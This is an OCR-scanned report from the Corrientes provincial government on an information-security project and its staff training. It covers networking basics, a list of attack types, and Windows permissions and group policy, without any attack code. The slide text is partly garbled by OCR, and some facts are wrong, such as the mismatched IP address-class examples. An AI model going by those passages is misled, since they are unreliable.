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Teniendo en cuenta que ningun organismo que utilice la tecnologia dentro de
sus procesos de gestion de la informacién, esta exenta ataques, vulnerabilidades y
fallas en los metodologias utilizadas; se ve necesaria la implementacion de una
proyecto que haga mas eficiente la gestion y genere seguridad (confidencialita,
integridad y disponibilidad) en la informacién que se utilice.

El proyecto estuvo dividido en etapas; las cuales determinaron una forma
sistematizada de trabajar muy utilizada a la hora de implementar soluciones a
procesos.

La primera etapa consisti6 en una evaluacion de la situacion actual de la
plataforma tecnoldgica; asi como del grado de informatizacion, procesos y actores
involucrados. Como resultado se obtuvo que si bien el nivel de seguridad es muy
pobre, al igual que los procesos que se encuentran informatizados; se cuenta con el
factor positivo que, tanto el personal técnico como los funcionarios del Gobierno
comprenden, reconocen Yy aceptan la situacion actual y sus falencias. Saben que es
necesario mejorarla y estan dispuestas a trabajar en una nueva implementacion.

En la segunda etapa se presentd un conjunto de soluciones a implementar
segun las necesidades del organismo; se contd en todo momento con la
participacion del personal técnico directamente relacionado a los servicios actuales.
Cabe hacer mencion que algunas de las implementaciones ya habian sido
analizadas por el personal técnico en un ambito de prueba. El punto mas importante
de esta etapa es la necesidad de asignar al Centro de Cémputos como Unico rector
en cuanto a tecnologia se refiera. El aval en el plano politico es fundamental para el
cambio estructural planteado. Si bien todas las sugerencias presentadas son validas,
€s necesario una reestructuracion global de la red y sus componentes.

Siguiendo con la tematica de la importancia que tiene a la hora de un cambio
el respaldo a nivel politico; es que surge el desarrollo y documentacion de las
politicas de seguridad de la informacion acordes a las funciones del organismo,

basadas en las normas internacionales/nacionales y en las mejores préacticas.
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CAPACITACION Y CONCIENTIZACION
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La etapa final de capacitacion tuvo como objetivo la generacion de conciencia
respecto a la correcta utilizacién de la tecnologia y el uso de la informacién. Esta
generacion de conciencia, no es mas que una intension de hacer participe a las
personas de este nuevo cambio, con la premisa que la seguridad la hacemos entre
todos.

Desde el primer momento en que se comienza con el proyecto, desde la
etapa de andlisis y diagndstico, estuvo implicito la necesidad de capacitar a los
agentes que se involucraban en el mismo. Si bien la capacitacion formal quedaria
para la Ultima etapa y aun hoy queda por hacer, durante todo el trayecto se
realizaron reuniones en las cuales se iba acercando los conocimientos y generando
la conciencia para que esta nueva forma de trabajo, la tecnologia y la seguridad se
adoptada por todos.

La posibilidad de un éxito en cualquier implementacion de seguridad, esta
acompafiada por la capacidad que tienen las personas involucradas de entender la
necesidad del mismo, y ser o hacerse participe y propietario de ese proyecto. Si
cometemos el error de querer implementar algo que genera cambios significativos, o
restricciones por causa de la implementaciones mas seguras sin pretender que los
mismos no generen molestias o dudas estamos construyendo un edificio sin
cimientos. Cuando se debe realizar una implementacion de seguridad que implique
una restriccion, es necesario en primer lugar tratar de dar alternativas para que no
se vea denegado ese servicio si es que el mismo es fundamental para la gestion del
Gobierno o el bienestar de las personas; y en todos los casos se debe dar una
respuesta concreta a la gente para que comprenda el motivo y la necesidad de llegar
a esta restriccion. Esto es parte de una capacitacién constante que se debe realizar.

La capacitacion formal esta dividida en diferentes grupos homogéneos que
dependera de la responsabilidad que cada uno de ellos tenga sobre el uso de los
servicios o de la tecnologia. Estos grupos son, administradores de equipos y
servicios, usuarios de los mismos, funcionarios publicos y responsables del
datacenter. Algunos de los mismos se consignara fecha una vez que las autoridades

asi lo decidan.
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Las siguientes imagenes son parte de las ppt de las distintas charlas o
presentaciones. En cada uno de las presentaciones, se dara una parte tedrica y otra
practica, ya que las experiencias con las practicas, en muchos casos hace que el
individuo interprete mejor los conceptos. Por ejemplo una de las practicas esta
basada en la utilizacién de la técnica de phishing para el robo de identidad bancaria,
la misma ya ha sido utilizada en otras presentaciones dando resultados altamente
positivos, en donde las personas comprendieron la necesidad de cuidar sus datos.
En este tipo de practicas se ve como cualquier técnica de hacking o fallas en la
seguridad en gran parte tiene que ver con lo humano, con la desidia o la falta de
conocimiento sobre algunos temas. Es de comprender que si no conocemos las
falencias de un sistema, no debemos porque preocuparnos por cuidarnos del mismo,
es por eso que la visualizacion en vivo de esas falencias nos dard mayores
resultados al momento de tratar que la gente sea parte de la seguridad.

Algunas de esas practicas se veran repetidas en todas las presentaciones sin
importar al publico que vaya dirigido, ya que las mismas no intentan explicar una
metodologia y su técnica de ataque, sino que pretende simplemente evidenciar la
facilidad de esas técnicas y las posibilidades certeras que tenemos de caer en estas
trampas.

La primera de las presentaciones esta dirigida a personas con cierta
capacidad técnica que comprenden algunos aspectos basicos de la informatica.
Estos son por lo general administradores de sistemas, de redes o administradores
de recursos informaticos en las distintas reparticiones del Gobierno.

La segunda es para usuarios en general, que son los que utilizan los sistemas
0 servicios corporativos dentro del ambito del Gobierno. Es indispensable que
comprendan que la seguridad depende en gran parte de ellos.

Para los funcionarios publicos, la presentacion es mas una tarea conjunta
donde se esperan un cruce de preguntas y respuestas formuladas por los mimos
funcionarios. Igualmente esta prevista algunas demostraciones practicas, y como los

atagues informaticos a los gobiernos va en crecimiento absoluto.
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Por dltimo, unas jornadas de capacitacion al personal especializado del
DataCenter, con muchas demostraciones practicas y practicas a desarrollar en el

transcurso de la jornada.
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CAPACITACION ADMINISTRADORES
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Para sacar mejor provecho de estas charlas y jornadas, se comenzara con un
repaso de Redes, protocolo TCP/IP vs el modelo OSI, para poder comprender mas
adelante en que capa del protocolo se sitan cada uno de los atagues. Para ello se
explicaran cada uno de los activos de redes que trabajan en las capas 2 y 3 del
protocolo IP, como es el direccionamiento IP y detalles de algunos protocolo TCP y
UDP como el DHCP, DNS, etc. También se mencionaran los detalles de los servicios
gue se brindan y brindaran en la red por medio del DataCenter.

Dentro de la practica, se expondran 2 tipos de ataques, el phishing bancario y
el DNS spoofing.

Administradores de sitios

Gobierno de la Provincia de Corrientes @
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IP (Protocolo Internet)
Modelo OSI (7 Capas) vs. TCP/IP (4 capas)
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Protocolo TCP, IP y Redes

Gobierno de la Provincia de Corrientes %
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Direcciones IP

- Es una direccidn de 32 bits (IPv4) en formato binario, que por razones de
practicidad se exhibe en 4 grupos de 8 bits separados por puntos pero en
formato decimal. Cada grupo de 8 bits puede ir desde 0 a 255.

- Cada Pc tiene asignada una direccion Ip (que la identifica dentro de la red)
y una mascara de subred (Mask).

- La mascara le indica a la Pc cual sera el rango de red que podra ver
desde su Ip. A este rango lo llamamos Subred (o subnet).

- Pueden definirse varios rangos de red con la mascara de Subred, pero
hay tres rangos clasicos que se definen llamadas Clase A, By C.

Mascara para Clase A: 255.0.0.0 Ej. Rango de ip: 10.x.3.x
Mascara para Clase B: 255.255.0.0 Ej. Rango de ip: 192.168.x.X

Mascara para Clase C: 255.255.255.0 Ej. Rangode ip: 172.17.4.x
x =de 0 a 255

Gobierno de la Provincia de Corrientes @

Direcciones IP

Se pueden tener subredes de una Subred.

- Para saber que rango de ips puede ver una Pc debemos hacer el
siguiente calculo. Tomamos la ip ¥ la mascara en formato binario

y luego hacemos un AND entre ellas, es decir, multiplicamos cada bit de la
Ip por cada bit de la mascara, y lo que nos queda es la Subred:

Direccion IP 11001100.00001000.00001010.10101010  204.8.10.170

Mascara de

Subred (MASK) 11111111.11111111.11111111.00000000 255 255 2550

Subred 11001100.00001000.00001010.00000000
(SubNet) 204. 8. 10 . O

Gobierno de la Provincia de Corrientes @
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Direcciones IP

Veamos un Ejemplo:

Direccién IP - 11001000.00100000.01101000.10101100 200.32.104.172

Mascara de
Subred (MASK) 11111111 11111111 11111111.11100000  255.255.255 224
Subred de

I clase C 11001000.00100000.01101000.10100000  200.32.104.160

Existe también una direccion de Broadcast, que es necesaria para
encontrar una pc dentro de la red. Al enviar datos al Broadcast,
estos son recibidos por todas las Pc del rango de red
correspondiente.

Gobierno de la Provincia de Corrientes @

Direcciones IP

Veamos un Ejemplo:

Direccién IP - 11001000.00100000.01101000.10101100 200.32.104.172

Mascara de
Subred (MASK) 11111111 11111111 11111111.11100000  255.255.255 224
Subred de

I clase C 11001000.00100000.01101000.10100000  200.32.104.160

Para calcular el Broadcast de una red tomamos el final de la subred vy le
ponemos tantos “unos” como “ceros” halla en el final de la mascara, asi:

11001000.00100000.01101000.10111111 200.32.104.191

Los Hosts (equipos) disponibles son los que quedan entre la red y
el broadcast. En este caso desde 200.32.104.161 hasta 200.32.104.190

Gobierno de la Provincia de Corrientes @
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Seguridad en las comunicaciones
Nivel transporte

o Funcionamiento TCP: Handshake TCP (Saludo a tres vias)

Gobierno de la Provincia de Corrientes %

Topologias de Red

Topologias Arbol
}Emlla

Irregular

Completa Anillos intersectantes

Gobierno de la Provincia de Corrientes %
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Topologia en estrella

- Centro: Concentrador o
repetidor

* Usada tipicamente tanto en
Ethernet como en Token Ring

Gobierno de la Provincia de Corrientes @

@ HUB

- Dispositivo que sirve como centro de una red de
topologia en estrella

- El HUB regenera la sefal v la reenvia a sus multiples
Puertos.

- Si se envian datos de A hacia B a través de un HUB,
este envia los datos a todos los equipos conectados a el, ¥ solo B
aceptaria los datos.

- Expande el dominic de colision.
- Y lo mas importante....

.... Son dispositivos de capa 1y ...

.... Generan broadcast

Gobierno de la Provincia de Corrientes @
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Switch

- MAC son 48 bits en formato hexadecimal
Por ejemplo: 00:FF:23:AD:11:B2 & 00-02-A5-28-48-A8B

- Los switch y los bridge (que ya estén fuera de moda) son
dispositivos de capa 2 y usan las MAC para la conmutacion de
paquetes.

- Por ese motivo NO TIENEN DOMINIO DE COLISION. ..

- Si se envian datos de A hacia B a través de un switch,
este envia los datos de A solo al puerto donde esta
conectado B, lo que no ocurre en un HUB.

Gobierno de la Provincia de Corrientes @

% Router

-Transmite un paquete desde un enlace de datos hacia otro,
seleccionando la interfaz mas apropiada para entregar el paquete
(Conmutacion). Responsable de pasar el paquete a la préxima red.

-La determinacién de ruta es el proceso que utiliza el router para
elegir el siguiente salto de la ruta del paquete hacia su destino. Este
proceso también se denomina enrutar (o rutear) el paguete.

-Para enrutar un paquete de datos, en primer lugar el router debe
determinar la direccion de subred/red destino ejecutando una
operacion AND ldgica, utilizando la direccidn IP y la mascara de
subred del host destino. El resultado sera la direccién de red/subred.

2

Gobierno de la Provincia de Corrientes @
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DHCP

- Protocolo cliente/servidor disefiado en 1993

- RFC 2131: Dynamic Host Configuration Protocol
RFC 2132: DHCP Options and BOOTP Vendor Extensions

-Se trata de un protocolo que brinda a los host una serie de
parametros que les permite estar conectados en una LAN y elimina
la necesidad de configurar uno a uno los host.

-Los pardmetros minimos que otorga el DHCP a un equipo son:
direccion IP, mascara de red, puerta de enlace, servidor DNS
(secundario si es que existe), fecha en la cual caducan estos datos.

Gobierno de la Provincia de Corrientes @

DHCP

Funcionamiento basico

- Cliente: DHCPDISCOVER (paquete broadcast)

Src=0.0.0.0 sPort=68 Dest=255.255.255.255 dPort=67

- Server: DHCPOFFER (MAC destino: cliente)
Src=192.168.1.1 sPort=67 Dest=255.255.255.255 dPoIit=68

- Client: DHCPREQUEST

5rc=0.0.0.0 sPort=68 Dest=255.255.255.255 dPort=67
- Server: DHCPACK

Src=192.168.1.1 sPort=67 Dest=255.255,255.255 dPort=68

Gobierno de la Provincia de Corrientes @
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DNS (Domain Name System)

Hasta ahora hemos visto como comunicarnos en una red utilizando las
direcciones de IP.

Cuantas direcciones de IP puede usted memorizar?
Los nombres son mucho més faciles de recordar.

Cada nombre corresponde a al menos una direccion IP.
www.corrientes.gov.ar corresponde a 202.232.134.132

O utilizar el Sistema de Nombres de Dominio (DNS), que se encarga de
hacer estas traducciones y el usuario no se da cuenta.

Gobierno de la Provincia de Corrientes @

DNS

- DNS es una implementacion de una base de datos distribuida.

- Para cada dominio existe un servidor primario y varios
secundarios. Esto permite control local sobre segmentos
especificos de la base de datos.

- La palabra clave es DELEGACION.
- Todos los dominios son delegados a un servidor raiz.

- Cada dominio mantiene una base de datcs que
convierte nombres en direcciones de IP (archivos
de zona).

- También mantiene una tabla de resolucidon inversa donde dada
una direccion de IP se puede obtener un nombre (archivos de
resolucién inversa).

7
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DNS - Estructura de nombre

Mas Menos
especifico especifico

www.corrientes.gov.ar

I— Pais
Tipo de Organizacion

Nombre de la
Organizacién

Nombre host

o Existe una estructura jerarquica para la designacion del
nombre asignado a una estacién o dispositivo en la red.

Gobierno de la Provincia de Corrientes @

DNS - Jerarquia

AR
I
I [ I
com edu net org mil gov
I
[T 1 |
uba buenosaires ... presidencia ... ... corrientes
www o L mail
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-

Cliente envia un DHCPDISCOVERY a toda la LAN

1P- 192 168 20 132
MASCARA: 255 255 255.0
PUERTA DE ENLACE; 192 168202

Server contesta con un DHCPOFFER hacia el cliente

1P 192,168 20 132

: 255.256 256.0
PUERTA DE ENLACE: 192 168 202
WINS: 10.10.1.180
DNS: 10.10.1.180

DHCP SERVER

DHCP SERVER

Server contesta con un DHCPACK

Gobierno de la Provincia de Corrientes é
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Red principal

Redundancia
nlsce UNICO de acceso a

Intemet

RED LAN: 192.168.132.024
Reparticion Nro1
cultura Loteria y Casinos CONSEJO GENERAL

DE EDUCACION
RED|LAN: 1921681024  REDLAN, 1921684024  REDLAN: 1921684024

Y Reparticién Nrod

REDLAN 19218832024 yominocior do VPN

Gobierno de la Provincia de Corrientes %

Red principal {detalle datacenter)

| Relay Mensajeria Terminador VPN

Gobierno de la Provincia de Corrientes %
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Detalle de los Servicios
o Firewall

¢Que es un Firewall y cuales son sus caracteristicas principales?

HACKER

Un firewall es un sistema de defensa que
se basa en la instalacion de una "barrera”
entre su PC y la Red, por la que circulan
todos los datos. Este trafico entre la Red Fim‘"
y su PC es autorizado o denegado por el [ ;&% on s e & |

entre Pt o st
1 PCeon ograma
D Firewafiy
lﬁ. =

firewall {la "barrera"), siguiendo las oltema )
instrucciones que se le haya configurado. E
El funcionamiento de éste tipo de !
programas se basa en el "filtrado de .
paquetes”. Todo dato o informacion que Red Protegida o
circule es analizado por el programa |
(firewall) con la misién de permitir o f 1
denegar su paso en ambas direcciones |
(Internet-->PC 6 PC--->Internet). =" 4 [

-
0

-

=

L
=2

& -

=)
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Detalle de los Servicios
o Proxy-Server

El proxy server es el servidor encargado de administrar la
comunicacion entre las PC e Internet. Ofreciendo la totalidad de los
servicios que se usan en Internet. El sistema ayuda a optimizar
notablemente los recursos. El proxy sera el encargado de decidir
que servicios o cuales no pueden estar disponibles para una o
varias PC o usuarios.

Gobierno de la Provincia de Corrientes @
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Detalle de los Servicios

o Proxy-Cache

Es un programa que se ejecuta en un equipo servidor y que va acumulando
paginas web para que los programas navegadores en vez de ir directamente
a buscar esas paginas a los servidores originales, vayan a buscarlas al
proxy-cachée acelerando asi notablemente el acceso a webs remotos.

¢Como funciona?

El programa recibe peticiones de paginas que, en caso de tenerlas, las envia
al solicitante. Si no las tiene o si el programa considera que estas son
‘antiguas’, las solicita al proxy y en caso de que tampoco estén ahi, estas
son solicitadas al servidor original. Esto tiene como ventajas el aumento de
velocidad en el acceso a paginas remotas. Hay que tener en cuenta que
cuanto mas usuarios utilicen este servicio, mas paginas habra en el caché y,
consecuentemente, menos paginas hay que traer desde el origen.

Gobierno de la Provincia de Corrientes @

Detalle de los Servicios (en el Datacenter)

Firewall Central.

Web Server.

Mail Server (Webmail - POP3 y SMTP).
Servidor DNS /DNS - Dinamico.
Mensajeria Instantanea.

Servidor de Actualizaciones.

Antivirus

NTP

Sistemas Corporativos

Gobierno de la Provincia de Corrientes @
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SEGURIDAD
Y
CONTRASEGURIDAD

Gobierno de la Provincia de Corrientes @

Conceptos de seguridad

Autenticidad

Dicese de lo que es verdadero, autentico. El proceso de autenticacidén nos

debe permitir asegurar que el objeto/sujeto autenticado es quién dice ser.
Control de acceso

Define derechos y privilegios para la utilizacién de recursos para un
objeto o persona auténtica

Integridad
Cualidad de un objeto si no ha sido modificado.

Confidencialidad

Cualidad de la informacién por la cual solo las personas autorizadas

tienen acceso ella.

Gobierno de la Provincia de Corrientes @
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PROBLEMAS

- En el 90% de los casos se reacciona aplicando los parches sobre
los agujeros de seguridad después del incidente producido.

- Los controles de seguridad, mas implementados siguen siendo, los
Firewalls y las soluciones Antivirus.

« Los ataques mas comunes durante el Ultimo afio fueron los
troyanos dirigidos y el spamming de correo electrénico.

« Los atacantes obtienen rédito econédmico, lo que les otorga mas
herramientas y motivos para seguir con su actividad.

Gobierno de la Provincia de Corrientes @

PROBLEMAS

o Seguridad de puesto de trabajo

Vulnerar la seguridad de cliente es lo que habitualmente
se persigue por parte de los atacantes.

Tiene como objetivo general el acceso a informacién de
este o de otros puestos.

Factor clave = Errores humanos

La seguridad depende en un 99% del Factor Humano y en
un 1% del factor Tecnoldgico.

Gobierno de la Provincia de Corrientes @
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Tipos de ataque
o PASIVO: No altera la funcionalidad, sélo escucha y transmite.

o ACTIVO: Modificacidon del flujo de datos transmitido o
generacién de uno falso.

Pueden ser:
Interrupcion
Modificacion
Generacion
Intercepcion

Gobierno de la Provincia de Corrientes @

Seguridad en las comunicaciones

INTERRUPCION

o Interrupcién del servicio, DoS.

Deteccién muy sencilla

W
L

Gobierno de la Provincia de Corrientes @
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Seguridad en las comunicaciones
Tipos de ataques (Tradicionales)

MODIFICACION

o Modificacién de los mensajes de origen a destino

Deteccidén sencilla

Gobierno de la Provincia de Corrientes @

Seguridad en las comunicaciones
Tipos de ataques (Tradicionales)

GENERACION

o Elintruso genera registros, mensajes o informacién.

Deteccién complicada

Gobierno de la Provincia de Corrientes @
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Seguridad en las comunicaciones
Tipos de ataques (Tradicionales)

INTERCEPCION

o Elintruso accede a los servicios o intercepta los mensajes de

forma pasiva.

Deteccién MUY complicada

O O

Gobierno de la Provincia de Corrientes @

Seguridad en las comunicaciones
Nivel de enlace

o Para lograr ciertos tipos de ataque, se necesita tener acceso fisico a la
red. La dificultad dependerd del medio.
Enlace LAN
Enlace Punto a punto
Enlace VPN

Enlace Wireless

Gobierno de la Provincia de Corrientes @
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as

Ingenieria Social

Repeticion de Transaccion
Phishing

Backdoors

Escaneo de puertos

DHCP Starvation

Wardialers

Thrashing

Codigo Malicioso / Virus
Denegacion de Servicio (DoS)

Denegacion de Servicio Distribuida
(DDoS)

Seguridad en las comunicaciones

Exploits

Ataques de Contraseiia
Fraude Informatico
Control Remoto de Equipos
Software Ilegal
Eavesdropping

Acceso a Informacion Confidencial
Impresa

Robo de identidad
Man-in-the-Middle
Defacement

IP Spoofing - MAC Address Spoofing

Gobierno de la Provincia de Corrientes @
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CAPACITACION A USUARIOS
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En la capacitacion a los usuarios, se muestran algunos conceptos de
seguridad sobre Windows, errores, bugs y la manera de mitigar los mismos que
seran Utiles tanto en lo laboral como en la vida cotidiana.

En la practica veremos, técnica de Ingenieria social (haciendo que los

usuarios digan cosas que no deberian revelar), phishing y snifing.

Lic. Gustavo Andrés Linares
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Seguridad en Windows

En la actualidad las computadoras son una herramienta
fundamental (y hasta quiza la principal) de nuestro trabajo
diario. Es asi, que de nosotros depende su cuidado y
proteccion ante las distintas amenazas a las que esta expuesta
nuestra PC al estar conectada a una red, con el objetivo de no
perder ni tiempo, ni datos, cuya perdida incluso puede alcanzar
considerable importancia.

En el ambito de la LAN, debido a que la mayoria de los
usuarios utilizamos Windows en las PC de escritorio,
expondremos una serie de aspectos sobre la seguridad en la
utilizacion de este sistema operativo.
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La mayoria de nosotros todos los dias cuando llega a
trabajar, comienza con su rutina:

+ Se sienta frente a una computadora

+ Entra a Windows

+ Revisa el correo, para recordar los trabajos pendientes
+ Abre el MSN, para olvidar los trabajos pendientes

+ Ejecuta algun que otro programa
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Esto puede equipararse con:

ollegar a su casa

oAbrir la puerta y entrar

oVerificar que hay que limpiar, ordenar y cocinar
oPrender la TV o la radio, para distraerse un poco, etc.

Que hace usted si ve que hay una ventana abierta de par
en par? No la cierra?

Y si tiene un agujero en el techo y entra agua?
Lo deja asil? Seguramente no...
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En una computadora ocurre lo mismo.

Al igual que en su casa o su auto, en su Pc usted tiene
cosas de valor, documentos, imagenes, bases de datos y
demas contenidos que en caso de perderse o dafarse
involucran desde:

. Gritos y caras de susto

- Grandes perdidas de tiempo

« Perdidas irrecuperables de archivos
« Dafios 0 molestias a terceros

Por eso, de ustedes, de nosotros y del que tenemos
sentado al lado depende el buen funcionamiento y la
seguridad de la red y las PC.

Gobierno de la Provincia de Corrientes @

La administracion de la seguridad

La posibilidad dada a los usuarios de controlar el acceso a los equipos
puede dejar a estos indefensos, posibilitando las pérdidas de informacion
y el uso compartido involuntario de datos.

Por este motivo, ademas de imponer una directiva de informéatica
corporativa, se debe garantizar que todo el personal comprende los
aspectos basicos de la seguridad y la red de igual a igual en Windows.

Entre las practicas recomendables, se incluyen:

oActualizaciones de seguridad de Windows al dia (WSUS)

oUso de software de antivirus

oUso de Servidor de seguridad de conexién a Internet

oUso de contrasefias seguras

oUso compartido del minimo de carpetas necesario

oRestriccién de los permisos a carpetas compartidas al minimo necesario
oDeshabilitacion del uso compartido siempre que no sea necesario
oDeshabilitacién o eliminacién de cuentas innecesarias
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Seguridad del sistema de archivos

Los sistemas de archivos representan la organizacién de
directorios y archivos en las unidades de almacenamiento de un
equipo. Existen varias formas de proteger el sistema de archivos
contra eliminacidn, alteracion o acceso no autorizado. En esta
seccién, se facilitan las siguientes instrucciones paso a paso para
garantizar la seguridad del sistema de archivos.

~ En Windows NT, 2000, 2003, XP y Vista, el sistema de
archivos por default, que nos permite tener manejo de permisos
de los archivos y carpetas, por usuarios y grupos, es NTFS, que
reemplaza al anterior FAT32. Windows 95 y 98 no pueden ver
unidades particionadas en NTFS.

En el caso de tener un disco con particién FAT32 con
datos, pedemos cenvertirlo a NTFS con el comande “convert”, o
bien, con aplicaciones como el Partion Magic.
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Conversidn del sistema de archivos FAT32 a NTFS

1- Verifigue desde "Mi Pc” cual es la letra de unidad de disco que
desea convertir cuya particion es FAT32.

2- En el mend Inicio, haga clic en Ejecutar, escriba cmd vy, a
continuacion, haga clic en Aceptar.

3- En el simbolo del sistema, escriba lo siguiente:
convert <letra de unidad>: ffs:ntfs Ej.:
Luego presione Enter y comenzara la conversion,

Nota: si desea convertir la unidad en donde se ha instalado el
sistema operativo, puede que se pregunte si desea programar la
conversion para que ocurra la proxima vez que se reinicie el
sistema. De ser asi, escriba S y reinicie el equipo.
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Creacion de usuarios

En los Windows basados en NT (NT4, 2000, XP, 2003), la
seguridad se basa en usuarios. Si un ordenador va a ser utilizado
por varias personas, cada una debe tener un usuario y debe
identificarse con su nombre y contrasefia para que el sistema
sepa quién esta sentado delante.

- Si tenemos un dominio de Windows los usuarios se crean
directamente en el servidor de dominio y estaran unificados en la
red para las maquinas que estén incluidas en ese dominio.

- En cambio si tenemos un Grupo de trabajo, los usuarios se
crean en particular en cada PC. Desde el Panel de Control en el
icono Cuentas de usuario, o bien en Herramientas
administrativas, Administrador de equipos, Usuarios locales.
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o Tambien desde el icono Cuentas de usuario, podemos
administrar nombres, contraserias, privilegios e imagenes
de cada usuario.

o En el caso de un grupo de trabajo, conviene crear los
usuarios desde Panel de control, Cuentas de usuario, va
que es mas simple.

o Teniendo un dominio se nos facilita mucho la
administracién de usuarios, ya que no hay que ir PC por PC
creandolos y estableciendo los permisos para cada cual.
Podemos crear directivas de grupo para cada usuario y
estos las adoptan en sus PC una vez que se loguean en
ellas.
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Permisos en archivos/carpetas

Haciendo clic como muestra la imagen, vemos los permisos de esta carpeta.
Estos permisos que estan en la solapa Seguridad, son locales y por tanto, tienen
mayor jerarquia que los que veremos en la solapa Compartir.

Si luego hacemos clic en la solapa Cpciones Avanzadas, veremos que |0s permisos
de esta carpeta se heredan de una carpeta superior en la cual estamos dentro.

) o B
o Configuracién de seguridad avanzada para Cotas & ]
Sequidad | Personalizar
Abrie Bamiscs | Audiora | Popetaio | Pesmics feciros
Explrar [ SR 5 0 ususrios
Buscar... B i
. e ISABELLAMAdminishadores]
| Addto Winamg's Bookmarklist P Nl WHER
Engucus In Wiarme: Too | Nombre Pemita Huedadode | Apkcws LA\Seba)
Play i Winatmp iodoxes IS4 Contoliotel = Ecla carpeta subcesp
1 - - Pemds  SYSTEM Cortsol lotal =3 Estacopeta, subcap
=7 Comparti y seguridad... Pemdis  Seba |SABELLANSe..  Corval total = Sého enacamata BELLANsuarios)
B A al archivo Pomts CREATOROWIER  Cormcllol O\ Stlo ubearpelasy o
-t Pernki Ususios (SABELLAN . Lechraysiecu. CA Euta capeta. s 5p.
A . Pomds Ususios ISABELLAN . Espocia o Extacameta ) o
L maiadir y enviar por emai... Agega. | [ Outar
___ B adiadi a"Cosas.rar’ y enviar por emal
EQM@D e ishiadores Perriti  Denegan
| ¢ O =
L2 scanfor vruses... Agegs.. [ H r
- = oo I entadst de pamisot sela Inchitaririe | L3 a]
B oo | @ - B
& oo 5 i i, rido d la carpeta o
oo ) acaify que sesn relativas 3 ot cbietos secundasos (]
= pegar 0 »
Crear acceso drecto — — a peimizos especisles et
. Elminar (o) (cocea + avanzads, haga ci [em————
B Cambiar nombee = 2 T T
LT Propiedades 1
— == |
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Compartir

Luego en la solapa compartir vemos si el recurso, en este caso la carpeta “Cosas”, esta
compartida o no. En este caso esta compartida, asi que veremos para que usuarios lo esta,
haciendo clic en el botén Permisos.

Vemos que esta compartida para
todos como Solo Lectura. Por lo cual
las personas que accedan a esta Pc
desde la Red podran ver el
contenido de la misma pero ho
modificarlo.

Conviene destacar que los permisos
asignados en la solapa Compartir
solo indican “que” usuario y “como”
puede acceder a este recurso desde
la Red, pero siempre y cuando ese
usuario tenga permitido el acceso
en la solapa Seguridad que es la
principal en cuanto a permisos.

Propiedades de Cosas

| LGeneial | Compaits | Sogundad | Personaizar

7]

| 7 Puds compar esia carpea con oios usuaios s lated Fara (= —
|| B compaita, hops ci en Conpari ests capets. Petmisos de Cosas 2=
[ e—————
|| O locampsts ena copet
o
Becurso comparida: Cors ltodn
Comertai
Linie do ususios @ Méin pemisds
O Pesmit e o do rnsios -
Pas st pamios o socsm ot [T (Cogopn ] (i ]
Bemso: de Todos PertsDeragie
Pata corfuuar os parimetios para o acces &)
o canenin.  rresemsermmp—| o
coché [Ameceraniecto sn cache) 2

Fuewnallde Winckows esth cordiuad pora per que esta
aeta to.conta con oh0t exuipos de b red

Cancelr

Gobierno de la Provincia de Corrientes @

Lic. Gustavo Andrés Linares

37



Sugerencias:

-Conviene que cada Pc tenga creados los usuarios que se van
a utilizar en ella y no mas que esos. Cuantos menos usuarios
tengan creados en las PC, menos posibilidades de acceso a
ella hay.

-Si las PC de la red no pertenecen a un dominio de Windows,
y desean compartir documentos, conviene compartir las
carpetas temporalmente con permiso para Todos como solo
lectura (sino tendran problemas de acceso siempre con los
usuarios) y descompartirlas al dejar de usarlas. Cuantas
menos carpetas compartidas haya, menos peligros de perdida
de datos tendremos y mayor confidencialidad de los mismos.
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Ahora que vimos como manejar los permisos en archivos y
carpetas, (los cuales son aplicables también a unidades e
impresoras), veamos como restringir el acceso a distintas

configuraciones del sistema en caso necesario.
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Desde un usuario con privilegios de administrador,
podemos acceder a las Directivas de grupo:

Inicio->Ejecutar->gpedit.msc
Y, que son las directivas de grupo??

Son “politicas” que el sistema nos permite aplicar para
definir el comportamiento del mismo en varios aspectos.

-Jakd
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Con ellas podemos modificar una cantidad enorme de
comportamientos y de accesos dentro del sistema, que dependen del
conocimiento v la iniciativa de cada administrador.

Por ejemplo, podemos:
Impedir que los usuarios accedan al Panel de control

Impedirle ver ciertas solapas de la configuracién del Internet
Explorer

No permitirle el acceso al disco C desde Mi Pc

Impedir cambios en la configuracién IP, etc.
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-Una vez dentro de las Directivas de grupo, podemos intuitivamente
recorrer las distintas categorias buscando lo que deseamos maodificar.
-Cada directiva esta acompafiada por una amplia descripcién de su
proposito.

-La seccién donde encentramos las directivas de usc mas comin y
util a fines practicos es la siguiente.

-En ella encontraremos lo referido a cambio sobre el Panel de
control, la barra de tareas, el escritorio, etc.

-En un nivel mas abajo, entrando en Componentes de Windows,
veremos directivas para el Explorador de archivos de Windows e
Internet Explorer.
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Demos

1- Quitar las unidades de Mi Pc:
Configuracion de Usuario, Plantillas administrativas, Escritorio

2- Prohibir el acceso al Panel de control:

Configuracién de Usuario, Plantillas administrativas, Panel de
control

3- Impedir el agregado o eliminacion de impresoras:

Configuracion de Usuario, Plantillas administrativas, Panel de
control, Impresoras
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Servicios

-Los servicios son programas o aplicaciones cargadas por
el propio sistema operativo. Estas aplicaciones tienen la
particularidad de que se ejecutan en segundo plano
(Background).

-Por defecto, en el sistema se ejecutan una cierta cantidad
de servicios. Dependiendo de nuestras necesidades,
podemos tenerlos todos activos o no.

-Suele suceder que tengamos servicios iniciados por
default que jamas se usan. De hallar alguno conviene
detenerlo.
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- Si hacemos clic en /nicio - Ejecutar - services.msc, veremos
el listado de servicios disponibles. O bien, con clic derecho
sobre Mi Pc — Administrar - Servicios

[ Aaninkriacn de e

B A Aokin e vertars —ia]x
- OB FRE @ > u
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Otra forma de ver los servicios es desde

. Desde aqui no podremos encender o apagar los
servicios como en el listado anterior, pero si podremos ver
a que fabricante pertenece cada uno.

i Utilidad de configuracion del sistema
General | SYSTEM.INI | WIN.INI | BOOT.INI | Servicios | Inicio

Servicio Esencisl  Fabricante Etado (A

[] Servico de puertadeenl... | MoosoftCoporaton | fdio

Apachez Desconocido Deterido

[] Appie Mobile Device Descorocido Deterido

[4) Administracién de aplicaci. Microsoft Corporation Detenido

Ares Chatroom server Aces Development Group Detenido

[] ASP.HET State Service Microsaft Corporation Deterido

Aki Hotkey Poller ATI Technologies Inc. Activo

[¥] Avadic de Windows Microsoft Corporation Activa

[] Aukodesk Licensing Service Desconocido Deterido

Servicio de transferencia . Microsoft Corporation Activo

[¥] slackice Desconacide Adtivo

[] Examinador de equivos Microsoft Corporation Adivo M

3] >
[] Qeuikar todos bos servicios de Microsoft Deshabiltar todo

Cancelar iyuda
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- Si se nos presentara el caso de tener un Pc que esta lenta
por demas, o que presenta sintomas de virus, conviene
